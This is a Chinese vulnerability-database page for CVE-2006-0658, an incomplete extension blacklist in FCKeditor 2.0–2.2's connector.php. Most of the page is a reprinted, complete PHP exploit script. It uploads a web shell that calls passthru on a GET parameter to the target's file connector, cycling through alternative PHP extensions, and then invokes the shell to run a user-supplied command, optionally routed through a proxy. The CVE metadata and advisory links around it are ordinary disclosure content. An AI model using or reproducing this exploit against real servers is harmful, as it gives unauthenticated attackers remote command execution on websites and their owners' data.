CVE-2006-0658
CVSS5.0
发布时间 :2006-02-13 06:06:00
修订时间 :2011-10-12 00:00:00
NMCOE    

[原文]Incomplete blacklist vulnerability in connector.php in FCKeditor 2.0 and 2.2, as used in products such as RunCMS, allows remote attackers to upload and execute arbitrary script files by giving the files specific extensions that are not listed in the Config[DeniedExtensions][File], such as .php.txt.


[CNNVD]FCKeditor connector.php 任意脚本文件执行和上传漏洞(CNNVD-200602-174)

        FCKeditor 2.0和2.2在RunCMS等产品中使用时,其中的connector.php存在黑名单不完全漏洞。远程攻击者可以通过为文件设置没有列在Config[DeniedExtensions][File]中的特定扩展名,如.php.txt,来上传并执行任意脚本文件。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:fckeditor:fckeditor:2.2
cpe:/a:fckeditor:fckeditor:2.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0658
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0658
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200602-174
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/0502
(VENDOR_ADVISORY)  VUPEN  ADV-2006-0502
http://www.securityfocus.com/archive/1/424708
(UNKNOWN)  BUGTRAQ  20060209 runCMS <= 1.3a2 possible remote code execution through the integrated FCKEditor package
http://www.milw0rm.com/exploits/3702
(UNKNOWN)  MILW0RM  3702
http://secunia.com/advisories/18767
(VENDOR_ADVISORY)  SECUNIA  18767
http://retrogod.altervista.org/fckeditor_22_xpl.html
(UNKNOWN)  MISC  http://retrogod.altervista.org/fckeditor_22_xpl.html

- 漏洞信息

FCKeditor connector.php 任意脚本文件执行和上传漏洞
中危 未知
2006-02-13 00:00:00 2006-04-28 00:00:00
远程  
        FCKeditor 2.0和2.2在RunCMS等产品中使用时,其中的connector.php存在黑名单不完全漏洞。远程攻击者可以通过为文件设置没有列在Config[DeniedExtensions][File]中的特定扩展名,如.php.txt,来上传并执行任意脚本文件。

- 公告与补丁

        

- 漏洞信息 (1484)

FCKEditor 2.0 <= 2.2 (connector.php) Remote Shell Upload Exploit (EDBID:1484)
php webapps
2006-02-09 Verified
0 rgod
N/A [点击下载]
<?php
#  ---fckeditor_22_xpl.php                              15.38 04/12/2005       #
#                                                                              #
#                       FCKEditor 2.0 <= 2.2 shell upload                      #
#                              coded by rgod                                   #
#                     site: http://retrogod.altervista.org                     #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: "Security against defeat implies defensive tactics; ability to     #
#  defeat the enemy means taking the offensive"                                #

/* -> a short explaination: if a user cam call directly

      http://[target]/[path]/editor/filemanager/browser/default/connectors/php/connector.php

      he can upload malicious contempt on a target server, including arbitrary
      php code, and launch commands on it

      this works when php connector is enabled in config.php and when, ex.,
      in Apache httpd.conf "AddType application/x-httpd-php" directive we have
      an extension not specified in FCKEditor Config[DeniedExtensions][File]
      array.

      However, FCKeditor is integrated in a lot of applications, and if you
      succeed to upload the shell (see details in the output of this script)
      search for a local inclusion issue inside of them and include the uploaded
      file                                                                    */

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'<html><head><title> ******* FCKEditor 2.0 <= 2.2 shell upload**************
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
 ******* FCKEditor 2.0 <= 2.2 shell upload************** </p><p class="Stile6">a
script  by  rgod  at    <a href="http://retrogod.altervista.org"target="_blank">
http://retrogod.altervista.org</a> </p> <table  width="84%"><tr><td width="43%">
<form name="form1" method="post"   action="'.$_SERVER[PHP_SELF].'">    <p><input
type="text"  name="host"> <span class="Stile5">* target    (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/FCKEditor/ or just / ) </span></p><p><input type="text" name="cmd">       <span
class="Stile5"> * specify a command</span></p><p><input type="text" name="port">
<span class="Stile5">specify  a  port other than  80 (default value)</span> </p>
<p><input   type="text" name="proxy"><span class="Stile5"> send  exploit through
an HTTP proxy (ip:port) </span>  </p>  <p>  <input   type="submit" name="Submit"
value="go!"></p></form></td></tr></table></body></html>';

function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '<table border="0"><tr>';
  while ($ii <= strlen($headeri)-1){
    $dAtAi=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo "<td>&nbsp;&nbsp;</td>";
      for ($li=0; $li<=15; $li++) {
        echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
		}
      $ki=$ki+16;
      echo "</tr><tr>";
    }
    if (strlen($dAtAi)==1) {
      echo "<td>0".htmlentities($dAtAi)."</td>";
    }
    else {
      echo "<td>".htmlentities($dAtAi)."</td> ";
    }
    $ii++;$ji++;
  }
  for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo "<td>&nbsp&nbsp</td>";
  }
  for ($li=$ci*16; $li<=strlen($headeri); $li++) {
    echo "<td>".htmlentities($headeri[$li])."</td>";
  }
  echo "</tr></table>";
}

$pRoXy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //2x speed
{
  global $pRoXy, $host, $port, $pAcKeT, $HtMl, $pRoXy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
    echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
  }
  else {
    $c = preg_match($pRoXy_regex,$pRoXy);
    if (!$c) {echo 'Not a valid prozy...';
    die;
    }
  echo "OK.<br>";
  echo "Attempting to connect to ".$host." on port ".$port."...<br>";
  if ($pRoXy=='') {
    $result = socket_connect($socket, $host, $port);
  }
  else {
    $parts =explode(':',$pRoXy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $result = socket_connect($socket, $parts[0],$parts[1]);
  }
  if ($result < 0) {
    echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
  }
  else {
    echo "OK.<br><br>";
    $HtMl= '';
    socket_write($socket, $pAcKeT, strlen($pAcKeT));
    echo "Reading response:<br>";
    while ($out= socket_read($socket, 2048)) {$HtMl.=$out;}
    echo nl2br(htmlentities($HtMl));
    echo "Closing socket...";
    socket_close($socket);
  }
  }
}

function sendpacketii($pAcKeT)
{
  global $pRoXy, $host, $port, $HtMl, $pRoXy_regex;
  if ($pRoXy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.htmlentities($host); die;
    }
  }
  else {
	$c = preg_match($pRoXy_regex,$pRoXy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$pRoXy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$pAcKeT);
  if ($pRoXy=='') {
    $HtMl='';
    while (!feof($ock)) {
      $HtMl.=fgets($ock);
    }
  }
  else {
    $HtMl='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$HtMl))) {
      $HtMl.=fread($ock,1);
    }
  }
  fclose($ock);
  echo nl2br(htmlentities($HtMl));
  }


function refresh()
{
  flush();
  ob_flush();
  usleep(100000);
}
function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$_POST[host];$port=$_POST[port];
$path=$_POST[path];$cmd=$_POST[cmd];
$pRoXy=$_POST[proxy];
echo "<span class=\"Stile5\">";

if (($host<>'') and ($path<>'') and ($cmd<>''))
{
  $port=intval(trim($port));
  if ($port=='') {$port=80;}
  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  $host=str_replace("\r","",$host);$host=str_replace("\n","",$host);
  $path=str_replace("\r","",$path);$path=str_replace("\n","",$path);

  //modify the shell as you want, this could be written in any language
  //if exploit succeeded we will see phpinfo() even, check for disable_functions
  //if passthru() disabled, try with system(), exec(), popen() or shell_exec()
  $SHELL ="<?php echo chr(72).\"i Master!\";ini_set(\"max_execution_time\",0);error_reporting(0);";
  $SHELL.="phpinfo();passthru(\$HTTP_GET_VARS[cmd]);?>";
  //we try to guess allowed extensions...
  // you should succeed with .php3 for 2.0fc
  //  "     "       "     "  .php  for 2.0rc1
  //  "     "       "     "  .php  for 2.0rc2
  //  "     "       "     "  .php3 for 2.0rc3
  //  "     "       "     "  .pwml for 2.1 (added some restrictions, but maybe
  //                                        this is executable on some machine)
  //  "     "       "     "  .pwml for 2.11
  //  "     "       "     "  .pwml for 2.2
  $extensions= array('.php', '.php3', '.php5', '.phtml','.pwml', '.php4', '.php2', '.inc');
  //add what you want
  //'FileUpload' for versions 2.11 - 2.1 - 2.0rc3 - 2.0rc2 - 2.0rc1 - 2.0fc
  //empty for 2.2
  $upload_command= array('FileUpload','');
  $path_to_shell="/UserFiles/File/"; //default one: if different, script will find it

  for ($x=0; $x<=count($extensions)-1; $x++)
  {
    for ($y=0; $y<=1; $y++)
    {
      # STEP 1 -> Upload the shell
      srand(make_seed());
      $anumber = rand(1,9999);
      $filename="suntzu".$anumber.$extensions[$x];
      $dAtA="-----------------------------7d529a1d23092a\r\n";
      $dAtA.="Content-Disposition: form-data; name=\"NewFile\"; filename=\"$filename\"\r\n";
      $dAtA.="Content-Type:\r\n\r\n";
      $dAtA.="$SHELL\r\n";
      $dAtA.="-----------------------------7d529a1d23092a--\r\n";
      $pAcKeT="POST ".$path."editor/filemanager/browser/default/connectors/php/";
      $pAcKeT.="connector.php?Command=".$upload_command[$y]."&Type=File&CurrentFolder= HTTP/1.1\r\n";
      $pAcKeT.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
      $pAcKeT.="User-Agent: Sun-tzu giving you the pain\r\n";
      $pAcKeT.="Host: ".$host."\r\n";
      $pAcKeT.="Content-Length: ".strlen($dAtA)."\r\n";
      $pAcKeT.="Connection: Close\r\n\r\n";
      $pAcKeT.=$dAtA;
      show($pAcKeT);
      sendpacketii($pAcKeT);
      if (!eregi("200 OK",$HtMl)) {die("Cannot find connector.php...<br>");}
      if (eregi("This connector is disabled",$HtMl)) {echo "Exploit failed... -> php connector not enabled";die;}
      if (eregi("url=\"",$HtMl))
      {
        $temp=explode("url=\"",$HtMl);
        $temp2=explode("\"",$temp[1]);
        $path_to_shell=$temp2[0];
      }
      echo "<br>path where I search shell: ".htmlentities($path_to_shell)."<br>";
      # STEP 2 -> Launch commands...
      #by default a "UserFiles/File/" dir is generated inside site root when you upload
      #files, this dir is not protected by an .htaccess file or whatever
      $pAcKeT="GET ".$path_to_shell.$filename."?cmd=".urlencode($cmd)." HTTP/1.1\r\n";
      $pAcKeT.="User-Agent: GoogleBot/1.1\r\n";
      $pAcKeT.="Host: ".$host."\r\n";
      $pAcKeT.="Connection: Close\r\n\r\n";
      show($pAcKeT);
      sendpacketii($pAcKeT);
      if (eregi("200 OK",$HtMl)) {
                                 if (eregi("Hi Master!",$HtMl))
    			         {echo "Exploit succeeded...<br>";
				  echo "we have a shell in http://".$host.$path_to_shell.$filename."<br>";
				  echo "we should have phpinfo() here, see html...<br>";
			          die;}
                                  else {echo "Successfully uploades...<br>
			                      but is not an executable on target server...<br>";}
                               }
      refresh();
    }

  }
#if you are here...
echo "Exploit failed...";
}
else
{echo "Fill * required fields, optionally specify a proxy...";}
echo "</span>";
?>

# milw0rm.com [2006-02-09]
		

- 漏洞信息

49432
FCKeditor connector.php Config[DeniedExtensions][File] Incomplete Blacklist Arbitrary File Upload
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2006-02-09 Unknow
Unknow Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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